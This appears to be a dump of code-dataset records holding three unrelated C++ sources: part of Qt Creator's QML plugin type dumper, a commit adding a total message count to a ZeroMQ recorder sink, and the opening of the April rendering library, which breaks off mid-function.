resolvePlugin(canonicalLibraryPath, plugin.path, plugin.name);\n        m_pluginWatcher->addFile(pluginLibrary);\n        m_libraryToPluginIndex.insert(pluginLibrary, index);\n    }\n\n    \/\/ watch library xml file\n    if (plugin.hasPredumpedQmlTypesFile()) {\n        const QString &path = plugin.predumpedQmlTypesFilePath();\n        m_pluginWatcher->addFile(path);\n        m_libraryToPluginIndex.insert(path, index);\n    }\n\n    dump(plugin);\n}\n\nvoid PluginDumper::scheduleCompleteRedump()\n{\n    metaObject()->invokeMethod(this, \"dumpAllPlugins\", Qt::QueuedConnection);\n}\n\nvoid PluginDumper::dumpAllPlugins()\n{\n    foreach (const Plugin &plugin, m_plugins)\n        dump(plugin);\n}\n\nstatic QString qmldumpErrorMessage(const QString &libraryPath, const QString &error)\n{\n    return PluginDumper::tr(\"Type dump of QML plugin in %1 failed.\\nErrors:\\n%2\\n\").\n           arg(libraryPath, error);\n}\n\nstatic QString qmldumpFailedMessage(const QString &error)\n{\n    QString firstLines =\n            QStringList(error.split(QLatin1Char('\\n')).mid(0, 10)).join(QLatin1String(\"\\n\"));\n    return PluginDumper::tr(\"Type dump of C++ plugin failed.\\n\"\n                            \"First 10 lines or errors:\\n\"\n                            \"\\n\"\n                            \"%1\"\n                            \"\\n\"\n                            \"Check 'General Messages' output pane for details.\"\n                            ).arg(firstLines);\n}\n\nstatic QList<FakeMetaObject::ConstPtr> parseHelper(const QByteArray &qmlTypeDescriptions, QString *error)\n{\n    QList<FakeMetaObject::ConstPtr> ret;\n    QHash<QString, FakeMetaObject::ConstPtr> newObjects;\n    *error = Interpreter::CppQmlTypesLoader::parseQmlTypeDescriptions(qmlTypeDescriptions, &newObjects);\n\n    if (error->isEmpty()) {\n        ret = newObjects.values();\n    }\n    return ret;\n}\n\nvoid PluginDumper::qmlPluginTypeDumpDone(int exitCode)\n{\n    QProcess *process = qobject_cast<QProcess *>(sender());\n    if (!process)\n        return;\n    process->deleteLater();\n\n    const QString libraryPath = m_runningQmldumps.take(process);\n    const Snapshot snapshot = m_modelManager->snapshot();\n    LibraryInfo libraryInfo = snapshot.libraryInfo(libraryPath);\n\n    if (exitCode != 0) {\n        Core::MessageManager *messageManager = Core::MessageManager::instance();\n        const QString errorMessages = process->readAllStandardError();\n        messageManager->printToOutputPane(qmldumpErrorMessage(libraryPath, errorMessages));\n\n        if (errorMessages.contains(QLatin1String(\"Usage: qmldump [plugin\/import\/path plugin.uri]\"))) {\n            \/\/ outdated qmldump from 2.1.\n            \/\/ TODO: Show a warning that qmldump should be recompiled.\n            libraryInfo.setDumpStatus(LibraryInfo::DumpDone);\n            if (!libraryPath.isEmpty())\n                m_modelManager->updateLibraryInfo(libraryPath, libraryInfo);\n            return;\n        } else {\n            libraryInfo.setDumpStatus(LibraryInfo::DumpError, qmldumpFailedMessage(errorMessages));\n        }\n    }\n\n    const QByteArray output = process->readAllStandardOutput();\n    QString error;\n    QList<FakeMetaObject::ConstPtr> objectsList = parseHelper(output, &error);\n    if (exitCode == 0 && !error.isEmpty()) {\n        libraryInfo.setDumpStatus(LibraryInfo::DumpError, tr(\"Type dump of C++ plugin failed. Parse error:\\n'%1'\").arg(error));\n    }\n\n    if (exitCode == 0 && error.isEmpty()) {\n        libraryInfo.setMetaObjects(objectsList);\n\/\/ ### disabled code path for running qmldump to get Qt's builtins\n\/\/        if (libraryPath.isEmpty())\n\/\/            Interpreter::CppQmlTypesLoader::builtinObjects.append(objectsList);\n        libraryInfo.setDumpStatus(LibraryInfo::DumpDone);\n    }\n\n    if (!libraryPath.isEmpty())\n        m_modelManager->updateLibraryInfo(libraryPath, libraryInfo);\n}\n\nvoid PluginDumper::qmlPluginTypeDumpError(QProcess::ProcessError)\n{\n    QProcess *process = qobject_cast<QProcess *>(sender());\n    if (!process)\n        return;\n    process->deleteLater();\n\n    const QString libraryPath = m_runningQmldumps.take(process);\n\n    Core::MessageManager *messageManager = Core::MessageManager::instance();\n    const QString errorMessages = process->readAllStandardError();\n    messageManager->printToOutputPane(qmldumpErrorMessage(libraryPath, errorMessages));\n\n    if (!libraryPath.isEmpty()) {\n        const Snapshot snapshot = m_modelManager->snapshot();\n        LibraryInfo libraryInfo = snapshot.libraryInfo(libraryPath);\n        libraryInfo.setDumpStatus(LibraryInfo::DumpError, qmldumpFailedMessage(errorMessages));\n        m_modelManager->updateLibraryInfo(libraryPath, libraryInfo);\n    }\n}\n\nvoid PluginDumper::pluginChanged(const QString &pluginLibrary)\n{\n    const int pluginIndex = m_libraryToPluginIndex.value(pluginLibrary, -1);\n    if (pluginIndex == -1)\n        return;\n\n    const Plugin &plugin = m_plugins.at(pluginIndex);\n    dump(plugin);\n}\n\nvoid PluginDumper::dump(const Plugin &plugin)\n{\n    if (plugin.hasPredumpedQmlTypesFile()) {\n        const Snapshot snapshot = m_modelManager->snapshot();\n        LibraryInfo libraryInfo = snapshot.libraryInfo(plugin.qmldirPath);\n        if (!libraryInfo.isValid())\n            return;\n\n        const QString &path = plugin.predumpedQmlTypesFilePath();\n        QFile libraryQmlTypesFile(path);\n        if (!libraryQmlTypesFile.open(QFile::ReadOnly | QFile::Text)) {\n            libraryInfo.setDumpStatus(LibraryInfo::DumpError,\n                                      tr(\"Could not open file '%1' for reading.\").arg(path));\n            m_modelManager->updateLibraryInfo(plugin.qmldirPath, libraryInfo);\n            return;\n        }\n\n        const QByteArray qmlTypeDescriptions = libraryQmlTypesFile.readAll();\n        libraryQmlTypesFile.close();\n\n        QString error;\n        const QList<FakeMetaObject::ConstPtr> objectsList = parseHelper(qmlTypeDescriptions, &error);\n\n        if (error.isEmpty()) {\n            libraryInfo.setMetaObjects(objectsList);\n            libraryInfo.setDumpStatus(LibraryInfo::DumpDone);\n        } else {\n            libraryInfo.setDumpStatus(LibraryInfo::DumpError,\n                                      tr(\"Failed to parse '%1'.\\nError: %2\").arg(path, error));\n        }\n        m_modelManager->updateLibraryInfo(plugin.qmldirPath, libraryInfo);\n        return;\n    }\n\n    ProjectExplorer::Project *activeProject = ProjectExplorer::ProjectExplorerPlugin::instance()->startupProject();\n    if (!activeProject)\n        return;\n\n    ModelManagerInterface::ProjectInfo info = m_modelManager->projectInfo(activeProject);\n\n    if (info.qmlDumpPath.isEmpty()) {\n        const Snapshot snapshot = m_modelManager->snapshot();\n        LibraryInfo libraryInfo = snapshot.libraryInfo(plugin.qmldirPath);\n        if (!libraryInfo.isValid())\n            return;\n\n        libraryInfo.setDumpStatus(LibraryInfo::DumpError,\n                                  tr(\"Could not locate the helper application for dumping type information from C++ plugins.\\n\"\n                                     \"Please build the debugging helpers on the Qt version options page.\"));\n        m_modelManager->updateLibraryInfo(plugin.qmldirPath, libraryInfo);\n        return;\n    }\n\n    QProcess *process = new QProcess(this);\n    process->setEnvironment(info.qmlDumpEnvironment.toStringList());\n    connect(process, SIGNAL(finished(int)), SLOT(qmlPluginTypeDumpDone(int)));\n    connect(process, SIGNAL(error(QProcess::ProcessError)), SLOT(qmlPluginTypeDumpError(QProcess::ProcessError)));\n    QStringList args;\n    args << QLatin1String(\"--notrelocatable\");\n    if (plugin.importUri.isEmpty()) {\n        args << QLatin1String(\"--path\");\n        args << plugin.importPath;\n        if (ComponentVersion(plugin.importVersion).isValid())\n            args << plugin.importVersion;\n    } else {\n        args << plugin.importUri;\n        args << plugin.importVersion;\n        args << plugin.importPath;\n    }\n    process->start(info.qmlDumpPath, args);\n    m_runningQmldumps.insert(process, plugin.qmldirPath);\n}\n\n\/*!\n  Returns the result of the merge of \\a baseName with \\a path, \\a suffixes, and \\a prefix.\n  The \\a prefix must contain the dot.\n\n  \\a qmldirPath is the location of the qmldir file.\n\n  Adapted from QDeclarativeImportDatabase::resolvePlugin.\n*\/\nQString PluginDumper::resolvePlugin(const QDir &qmldirPath, const QString &qmldirPluginPath,\n                                    const QString &baseName, const QStringList &suffixes,\n                                    const QString &prefix)\n{\n    QStringList searchPaths;\n    searchPaths.append(QLatin1String(\".\"));\n\n    bool qmldirPluginPathIsRelative = QDir::isRelativePath(qmldirPluginPath);\n    if (!qmldirPluginPathIsRelative)\n        searchPaths.prepend(qmldirPluginPath);\n\n    foreach (const QString &pluginPath, searchPaths) {\n\n        QString resolvedPath;\n\n        if (pluginPath == QLatin1String(\".\")) {\n            if (qmldirPluginPathIsRelative)\n                resolvedPath = qmldirPath.absoluteFilePath(qmldirPluginPath);\n            else\n                resolvedPath = qmldirPath.absolutePath();\n        } else {\n            resolvedPath = pluginPath;\n        }\n\n        QDir dir(resolvedPath);\n        foreach (const QString &suffix, suffixes) {\n            QString pluginFileName = prefix;\n\n            pluginFileName += baseName;\n            pluginFileName += suffix;\n\n            QFileInfo fileInfo(dir, pluginFileName);\n\n            if (fileInfo.exists())\n                return fileInfo.absoluteFilePath();\n        }\n    }\n\n    return QString();\n}\n\n\/*!\n  Returns the result of the merge of \\a baseName with \\a dir and the platform suffix.\n\n  Adapted from QDeclarativeImportDatabase::resolvePlugin.\n\n  \\table\n  \\header \\i Platform \\i Valid suffixes\n  \\row \\i Windows     \\i \\c .dll\n  \\row \\i Unix\/Linux  \\i \\c .so\n  \\row \\i AIX  \\i \\c .a\n  \\row \\i HP-UX       \\i \\c .sl, \\c .so (HP-UXi)\n  \\row \\i Mac OS X    \\i \\c .dylib, \\c .bundle, \\c .so\n  \\row \\i Symbian     \\i \\c .dll\n  \\endtable\n\n  Version number on unix are ignored.\n*\/\nQString PluginDumper::resolvePlugin(const QDir &qmldirPath, const QString &qmldirPluginPath,\n                                    const QString &baseName)\n{\n#if defined(Q_OS_WIN32) || defined(Q_OS_WINCE)\n    return resolvePlugin(qmldirPath, qmldirPluginPath, baseName,\n                         QStringList()\n                         << QLatin1String(\"d.dll\") \/\/ try a qmake-style debug build first\n                         << QLatin1String(\".dll\"));\n#elif defined(Q_OS_DARWIN)\n    return resolvePlugin(qmldirPath, qmldirPluginPath, baseName,\n                         QStringList()\n                         << QLatin1String(\"_debug.dylib\") \/\/ try a qmake-style debug build first\n                         << QLatin1String(\".dylib\")\n                         << QLatin1String(\".so\")\n                         << QLatin1String(\".bundle\"),\n                         QLatin1String(\"lib\"));\n#else  \/\/ Generic Unix\n    QStringList validSuffixList;\n\n#  if defined(Q_OS_HPUX)\n\/*\n    See \"HP-UX Linker and Libraries User's Guide\", section \"Link-time Differences between PA-RISC and IPF\":\n    \"In PA-RISC (PA-32 and PA-64) shared libraries are suffixed with .sl. In IPF (32-bit and 64-bit),\n    the shared libraries are suffixed with .so. For compatibility, the IPF linker also supports the .sl suffix.\"\n *\/\n    validSuffixList << QLatin1String(\".sl\");\n#   if defined __ia64\n    validSuffixList << QLatin1String(\".so\");\n#   endif\n#  elif defined(Q_OS_AIX)\n    validSuffixList << QLatin1String(\".a\") << QLatin1String(\".so\");\n#  elif defined(Q_OS_UNIX)\n    validSuffixList << QLatin1String(\".so\");\n#  endif\n\n    \/\/ Examples of valid library names:\n    \/\/  libfoo.so\n\n    return resolvePlugin(qmldirPath, qmldirPluginPath, baseName, validSuffixList, QLatin1String(\"lib\"));\n#endif\n}\n\nbool PluginDumper::Plugin::hasPredumpedQmlTypesFile() const\n{\n    return QFileInfo(predumpedQmlTypesFilePath()).isFile();\n}\n\nQString PluginDumper::Plugin::predumpedQmlTypesFilePath() const\n{\n    return QString(\"%1%2plugins.qmltypes\").arg(qmldirPath, QDir::separator());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- mode:c++; indent-tabs-mode:nil; -*-\n\n\/*\n  Copyright (c) 2014, 2015, Anders Ronnbrant, anders.ronnbrant@gmail.com\n\n  Permission is hereby granted, free of charge, to any person obtaining a copy\n  of this software and associated documentation files (the \"Software\"), to deal\n  in the Software without restriction, including without limitation the rights\n  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n  copies of the Software, and to permit persons to whom the Software is\n  furnished to do so, subject to the following conditions:\n\n  The above copyright notice and this permission notice shall be included in\n  all copies or substantial portions of the Software.\n\n  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n  THE SOFTWARE.\n*\/\n\n#include \"RecorderSink.h\"\n#include \"RecorderBase.h\"\n\n#include \"zmqutils.h\"\n\n#include <zmq.hpp>\n\n#include <chrono>\n#include <map>\n\ntypedef std::chrono::milliseconds msec;\ntypedef std::chrono::microseconds usec;\n\nRecorderSink::RecorderSink()\n    : RecorderBase(\"Backend\") {\n}\n\nRecorderSink::~RecorderSink() {\n  if (poller_running_.load()) {\n    stop();\n  }\n}\n\nvoid\nRecorderSink::start(bool verbose) {\n  verbose_mode_.store(verbose);\n  poller_running_.store(true);\n  poller_thread_ = std::thread(&RecorderSink::run, this);\n}\n\nvoid\nRecorderSink::stop() {\n  poller_running_.store(false);\n  if (poller_thread_.joinable()) {\n    poller_thread_.join();\n  }\n}\n\nvoid\nRecorderSink::run() {\n  zmq::socket_t sock(*RecorderBase::socket_context, ZMQ_PULL);\n  int constexpr recvhvm = 16000;\n  sock.setsockopt(ZMQ_RCVHWM, &recvhvm, sizeof(recvhvm));\n  zmqutils::bind(&sock, RecorderBase::socket_address.c_str());\n\n  zmq::message_t zmsg;\n  bool messages_to_process = true;\n  std::array<int32_t, 4096> counter;\n  counter.fill(0);\n  int64_t count = 0;\n  zmq_pollitem_t pollitems[] = { { sock, 0, ZMQ_POLLIN, 0 } };\n\n  auto t1 = std::chrono::high_resolution_clock::now();\n\n  while (poller_running_.load() || messages_to_process) {\n    if (!zmqutils::poll(pollitems)) {\n      messages_to_process = false;\n      continue;\n    }\n\n    auto type = zmqutils::pop<PayloadType>(&sock, &zmsg);\n\n    switch (type) {\n      case PayloadType::DATA: {\n        auto rcid = zmqutils::pop<int16_t>(&sock, &zmsg);\n        sock.recv(&zmsg);\n        auto const num_params = zmsg.size() \/ sizeof(Item);\n        count += num_params;\n        counter[rcid] += num_params;\n        \/\/for (size_t i = 0; i < num_params; ++i) {\n        \/\/  auto* item = static_cast<Item*>(zmsg.data()) + i;\n        \/\/  int32_t length = item->length;\n        \/\/}\n      } break;;\n      case PayloadType::INIT_ITEM: {\n        auto init = zmqutils::pop<InitItem>(&sock, &zmsg);\n        if (verbose_mode_.load()) {\n          printf(\"(ITEM): %4d-%d '%s' '%s'\\n\",\n                 init.recorder_id,\n                 init.key,\n                 init.name,\n                 init.desc);\n        }\n      } break;;\n      case PayloadType::INIT_RECORDER: {\n        auto const pkg = zmqutils::pop<InitRecorder>(&sock, &zmsg);\n        if (verbose_mode_.load()) {\n          printf(\"(REC):  %4d(%ld) L%d '%s'\\n\",\n                 pkg.recorder_id,\n                 pkg.external_id,\n                 pkg.recorder_num_items,\n                 pkg.recorder_name);\n        }\n      } break;;\n      default:\n        break;;\n    }\n\n    size_t idx = 0;\n    while (idx < (zmsg.size()\/sizeof(Item))) {\n      ++idx;\n    }\n  }\n  sock.close();\n\n  auto const mib = 1<<20;\n\n  auto t2 = std::chrono::high_resolution_clock::now();\n  auto duration = std::chrono::duration_cast<usec>(t2 - t1);\n  double duration_msec = duration.count()\/1000.0;\n  printf(\"Messages:     %ld (%.3fms)\\n\", count, duration_msec);\n  printf(\"Messages\/sec: %.1f (%.1fMiB\/sec)\\n\",\n         count * 1000 \/ duration_msec,\n         sizeof(Item) * count * 1000 \/ (mib * duration_msec));\n\n  for (size_t i = 0; i < counter.max_size(); ++i) {\n    if (counter[i] == 0) {\n      continue;\n    }\n    printf(\"(RECV): %2lu:%d\\n\", i, counter[i]);\n  }\n}\n<commit_msg>Count total number of messages received<commit_after>\/\/ -*- mode:c++; indent-tabs-mode:nil; -*-\n\n\/*\n  Copyright (c) 2014, 2015, Anders Ronnbrant, anders.ronnbrant@gmail.com\n\n  Permission is hereby granted, free of charge, to any person obtaining a copy\n  of this software and associated documentation files (the \"Software\"), to deal\n  in the Software without restriction, including without limitation the rights\n  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n  copies of the Software, and to permit persons to whom the Software is\n  furnished to do so, subject to the following conditions:\n\n  The above copyright notice and this permission notice shall be included in\n  all copies or substantial portions of the Software.\n\n  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n  THE SOFTWARE.\n*\/\n\n#include \"RecorderSink.h\"\n#include \"RecorderBase.h\"\n\n#include \"zmqutils.h\"\n\n#include <zmq.hpp>\n\n#include <chrono>\n#include <map>\n\ntypedef std::chrono::milliseconds msec;\ntypedef std::chrono::microseconds usec;\n\nRecorderSink::RecorderSink()\n    : RecorderBase(\"Backend\") {\n}\n\nRecorderSink::~RecorderSink() {\n  if (poller_running_.load()) {\n    stop();\n  }\n}\n\nvoid\nRecorderSink::start(bool verbose) {\n  verbose_mode_.store(verbose);\n  poller_running_.store(true);\n  poller_thread_ = std::thread(&RecorderSink::run, this);\n}\n\nvoid\nRecorderSink::stop() {\n  poller_running_.store(false);\n  if (poller_thread_.joinable()) {\n    poller_thread_.join();\n  }\n}\n\nvoid\nRecorderSink::run() {\n  zmq::socket_t sock(*RecorderBase::socket_context, ZMQ_PULL);\n  int constexpr recvhvm = 16000;\n  sock.setsockopt(ZMQ_RCVHWM, &recvhvm, sizeof(recvhvm));\n  zmqutils::bind(&sock, RecorderBase::socket_address.c_str());\n\n  zmq::message_t zmsg;\n  bool messages_to_process = true;\n  std::array<int32_t, 4096> counter;\n  counter.fill(0);\n  int64_t count = 0;\n  zmq_pollitem_t pollitems[] = { { sock, 0, ZMQ_POLLIN, 0 } };\n\n  auto t1 = std::chrono::high_resolution_clock::now();\n\n  while (poller_running_.load() || messages_to_process) {\n    if (!zmqutils::poll(pollitems)) {\n      messages_to_process = false;\n      continue;\n    }\n\n    auto type = zmqutils::pop<PayloadType>(&sock, &zmsg);\n\n    switch (type) {\n      case PayloadType::DATA: {\n        auto rcid = zmqutils::pop<int16_t>(&sock, &zmsg);\n        sock.recv(&zmsg);\n        auto const num_params = zmsg.size() \/ sizeof(Item);\n        count += num_params;\n        counter[rcid] += num_params;\n        \/\/for (size_t i = 0; i < num_params; ++i) {\n        \/\/  auto* item = static_cast<Item*>(zmsg.data()) + i;\n        \/\/  int32_t length = item->length;\n        \/\/}\n      } break;;\n      case PayloadType::INIT_ITEM: {\n        auto init = zmqutils::pop<InitItem>(&sock, &zmsg);\n        if (verbose_mode_.load()) {\n          printf(\"(ITEM): %4d-%d '%s' '%s'\\n\",\n                 init.recorder_id,\n                 init.key,\n                 init.name,\n                 init.desc);\n        }\n      } break;;\n      case PayloadType::INIT_RECORDER: {\n        auto const pkg = zmqutils::pop<InitRecorder>(&sock, &zmsg);\n        if (verbose_mode_.load()) {\n          printf(\"(REC):  %4d(%ld) L%d '%s'\\n\",\n                 pkg.recorder_id,\n                 pkg.external_id,\n                 pkg.recorder_num_items,\n                 pkg.recorder_name);\n        }\n      } break;;\n      default:\n        break;;\n    }\n\n    size_t idx = 0;\n    while (idx < (zmsg.size()\/sizeof(Item))) {\n      ++idx;\n    }\n  }\n  sock.close();\n\n  auto const mib = 1<<20;\n\n  auto t2 = std::chrono::high_resolution_clock::now();\n  auto duration = std::chrono::duration_cast<usec>(t2 - t1);\n  double duration_msec = duration.count()\/1000.0;\n  printf(\"Messages:     %ld (%.3fms)\\n\", count, duration_msec);\n  printf(\"Messages\/sec: %.1f (%.1fMiB\/sec)\\n\",\n         count * 1000 \/ duration_msec,\n         sizeof(Item) * count * 1000 \/ (mib * duration_msec));\n\n  int total = 0;\n  for (size_t i = 0; i < counter.max_size(); ++i) {\n    if (counter[i] == 0) {\n      continue;\n    }\n    printf(\"(RECV): %2lu:%d\\n\", i, counter[i]);\n    total += counter[i];\n  }\n  printf(\"(RECV): %d\\n\", total);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/************************************************************************************\\\nThis source file is part of the Awesome Portable Rendering Interface Library         *\nFor latest info, see http:\/\/libapril.sourceforge.net\/                                *\n**************************************************************************************\nCopyright (c) 2010 Kresimir Spes (kreso@cateia.com),                                 *\n                     Ivan Vucica (ivan@vucica.net)                                   *\n*                                                                                    *\n* This program is free software; you can redistribute it and\/or modify it under      *\n* the terms of the BSD license: http:\/\/www.opensource.org\/licenses\/bsd-license.php   *\n\\************************************************************************************\/\n#include <stdio.h>\n#include <algorithm>\n\n#ifdef USE_IL\n#include <IL\/il.h>\n#endif\n\n#include \"RenderSystem.h\"\n#ifdef _OPENGL\n#include \"RenderSystem_GL.h\"\n#else\n#include \"RenderSystem_DirectX9.h\"\n#endif\n#include \"ImageSource.h\"\n\nApril::RenderSystem* rendersys;\n\nnamespace April\n{\t\n\tvoid april_writelog(chstr message)\n\t{\n\t\tprintf(\"%s\\n\",message.c_str());\t\t\n\t}\n\t\n\tvoid (*g_logFunction)(chstr)=april_writelog;\n\t\n\tint hexstr_to_int(chstr s)\n\t{\n\t\tint i;\n\t\tsscanf(s.c_str(),\"%x\",&i);\n\t\treturn i;\n\t}\n\t\n\tvoid hexstr_to_argb(chstr hex,unsigned char* a,unsigned char* r,unsigned char* g,unsigned char* b)\n\t{\n\t\thstr value = hex;\n\t\tif (value(0,2) != \"0x\") value=\"0x\"+value;\n\t\tif (value.size() == 8)\n\t\t{\n\t\t\t*r=hexstr_to_int(value(2,2));\n\t\t\t*g=hexstr_to_int(value(4,2));\n\t\t\t*b=hexstr_to_int(value(6,2));\n\t\t\t*a=255;\n\t\t}\n\t\telse if (value.size() == 10)\n\t\t{\n\t\t\t*a=hexstr_to_int(value(2,2));\n\t\t\t*r=hexstr_to_int(value(4,2));\n\t\t\t*g=hexstr_to_int(value(6,2));\n\t\t\t*b=hexstr_to_int(value(8,2));\n\t\t}\n\t\telse throw \"Color format must be either 0xAARRGGBB or 0xRRGGBB\";\n\t}\n\/*****************************************************************************************\/\t\n\tvoid PlainVertex::operator=(const gtypes::Vector3& v)\n\t{\n\t\tthis->x=v.x;\n\t\tthis->y=v.y;\n\t\tthis->z=v.z;\n\t}\n\/*****************************************************************************************\/\n\tColor::Color(float a,float r,float g,float b)\n\t{\n\t\tsetColor(a,r,g,b);\n\t}\n\n\tColor::Color(unsigned int color)\n\t{\n\t\tsetColor(color);\n\t}\n\n\tColor::Color(chstr hex)\n\t{\n\t\tsetColor(hex);\n\t}\n\n\tColor::Color()\n\t{\n\t\ta=r=g=b=255;\n\t}\n\n\tvoid Color::setColor(float a,float r,float g,float b)\n\t{\n\t\tthis->a=(unsigned char)(a*255); this->r=(unsigned char)(r*255);\n\t\tthis->g=(unsigned char)(g*255); this->b=(unsigned char)(b*255);\n\t}\n\n\tvoid Color::setColor(unsigned int color)\n\t{\n\t\tthis->a=color\/256\/256\/256; this->r=color\/256\/256%256; this->g=color\/256%256; this->b=color%256;\n\t}\n\n\tvoid Color::setColor(chstr hex)\n\t{\n\t\t\/\/ this is going to bite me in the arse on a little endian system...\n\t\thexstr_to_argb(hex,&a,&r,&g,&b);\n\t}\n\/*****************************************************************************************\/\n\tTexture::Texture()\n\t{\n\t\tmFilename=\"\";\n\t\tmUnusedTimer=0;\n\t}\n\n\tTexture::~Texture()\n\t{\n\t\tfor (Texture** it=mDynamicLinks.iter();it;it=mDynamicLinks.next())\n\t\t\t(*it)->removeDynamicLink(this);\n\t}\n\t\n\tColor Texture::getPixel(int x,int y)\n\t{\n\t\treturn Color(0,0,0,0);\n\t}\n\t\n\tColor Texture::getInterpolatedPixel(float x,float y)\n\t{\n\t\treturn Color(0,0,0,0);\n\t}\n\t\n\tvoid Texture::update(float time_increase)\n\t{\n\t\tif (mDynamic && isLoaded())\n\t\t{\n\t\t\tfloat max_time=rendersys->getIdleTextureUnloadTime();\n\t\t\tif (max_time > 0)\n\t\t\t{\n\t\t\t\tif (mUnusedTimer > max_time) unload();\n\t\t\t\tmUnusedTimer+=time_increase;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tvoid Texture::addDynamicLink(Texture* lnk)\n\t{\n\t\tif (mDynamicLinks.contains(lnk)) return;\n\t\tmDynamicLinks+=lnk;\n\t\tlnk->addDynamicLink(this);\n\t}\n\t\n\tvoid Texture::removeDynamicLink(Texture* lnk)\n\t{\n\t\tif (mDynamicLinks.contains(lnk))\n\t\t\tmDynamicLinks-=lnk;\n\t}\n\t\n\tvoid  Texture::_resetUnusedTimer(bool recursive)\n\t{\n\t\tmUnusedTimer=0;\n\t\tif (recursive)\n\t\t{\n\t\t\tfor (Texture** it=mDynamicLinks.iter();it;it=mDynamicLinks.next())\n\t\t\t\t(*it)->_resetUnusedTimer(0);\n\t\t}\n\t}\n\/*****************************************************************************************\/\n\tRAMTexture::RAMTexture(chstr filename,bool dynamic)\n\t{\n\t\tmFilename=filename;\n\t\tmBuffer=0;\n\t\tif (!dynamic) load();\n\t}\n\n\n\tRAMTexture::~RAMTexture()\n\t{\n\t\tunload();\n\t}\n\t\n\tvoid RAMTexture::load()\n\t{\n\t\tif (!mBuffer)\n\t\t{\n\t\t\trendersys->logMessage(\"loading RAM texture '\"+mFilename+\"'\");\n\t\t\tmBuffer=loadImage(mFilename);\n\t\t\tmWidth=mBuffer->w;\n\t\t\tmHeight=mBuffer->h;\n\t\t}\n\t}\n\t\n\tvoid RAMTexture::unload()\n\t{\n\t\tif (mBuffer)\n\t\t{\n\t\t\trendersys->logMessage(\"unloading RAM texture '\"+mFilename+\"'\");\n\t\t\tdelete mBuffer;\n\t\t\tmBuffer=0;\n\t\t}\n\t}\n\t\n\tbool RAMTexture::isLoaded()\n\t{\n\t\treturn mBuffer != 0;\n\t}\n\t\n\tColor RAMTexture::getPixel(int x,int y)\n\t{\n\t\tif (!mBuffer) load();\n\t\tmUnusedTimer=0;\n\t\treturn mBuffer->getPixel(x,y);\n\t}\n\t\n\tColor RAMTexture::getInterpolatedPixel(float x,float y)\n\t{\n\t\tif (!mBuffer) load();\n\t\tmUnusedTimer=0;\n\t\treturn mBuffer->getInterpolatedPixel(x,y);\n\t}\n\t\n\tint RAMTexture::getSizeInBytes()\n\t{\n\t\treturn 0;\n\t}\n\/*****************************************************************************************\/\n\tRenderSystem::RenderSystem()\n\t{\n\t\tmAlphaMultiplier=1.0f;\n\t\tmUpdateCallback=0;\n\t\tmMouseDownCallback=0;\n\t\tmMouseUpCallback=0;\n\t\tmMouseMoveCallback=0;\n\t\tmKeyDownCallback=0;\n\t\tmKeyUpCallback=0;\n\t\tmCharCallback=0;\n\t\tmQuitCallback=0;\n\t\tmDynamicLoading=0;\n\t\tmIdleUnloadTime=0;\n\t}\n\t\n\tRenderSystem::~RenderSystem()\n\t{\n\t\t\n\t}\n\n\tvoid RenderSystem::drawColoredQuad(float x,float y,float w,float h,float r,float g,float b,float a)\n\t{\n\t\tPlainVertex v[4];\n\t\tv[0].x=x;   v[0].y=y;   v[0].z=0;\n\t\tv[1].x=x+w; v[1].y=y;   v[1].z=0;\n\t\tv[2].x=x;   v[2].y=y+h; v[2].z=0;\n\t\tv[3].x=x+w; v[3].y=y+h; v[3].z=0;\n\t\t\n\t\trender(TriangleStrip,v,4,r,g,b,a);\n\t}\n\t\n\tvoid RenderSystem::drawTexturedQuad(float x,float y,float w,float h,float sx,float sy,float sw,float sh)\n\t{\n\t\tTexturedVertex v[4];\n\t\tv[0].x=x;   v[0].y=y;   v[0].z=0; v[0].u=sx;    v[0].v=sy;\n\t\tv[1].x=x+w; v[1].y=y;   v[1].z=0; v[1].u=sx+sw; v[1].v=sy;\n\t\tv[2].x=x;   v[2].y=y+h; v[2].z=0; v[2].u=sx;    v[2].v=sy+sh;\n\t\tv[3].x=x+w; v[3].y=y+h; v[3].z=0; v[3].u=sx+sw; v[3].v=sy+sh;\n\n\t\trender(TriangleStrip,v,4);\t\t\n\t}\n\t\n\tvoid RenderSystem::drawTexturedQuad(float x,float y,float w,float h,float sx,float sy,float sw,float sh,float r,float g,float b,float a)\n\t{\n\t\tTexturedVertex v[4];\n\t\tv[0].x=x;   v[0].y=y;   v[0].z=0; v[0].u=sx;    v[0].v=sy;\n\t\tv[1].x=x+w; v[1].y=y;   v[1].z=0; v[1].u=sx+sw; v[1].v=sy;\n\t\tv[2].x=x;   v[2].y=y+h; v[2].z=0; v[2].u=sx;    v[2].v=sy+sh;\n\t\tv[3].x=x+w; v[3].y=y+h; v[3].z=0; v[3].u=sx+sw; v[3].v=sy+sh;\n\t\t\n\t\trender(TriangleStrip,v,4,r,g,b,a);\t\n\t}\n\t\n\tvoid RenderSystem::logMessage(chstr message,chstr prefix)\n\t{\n\t\tg_logFunction(prefix+message);\n\t}\n\t\n\tvoid RenderSystem::registerUpdateCallback(bool (*callback)(float))\n\t{\n\t\tmUpdateCallback=callback;\n\t}\n\n\tvoid RenderSystem::registerMouseCallbacks(void 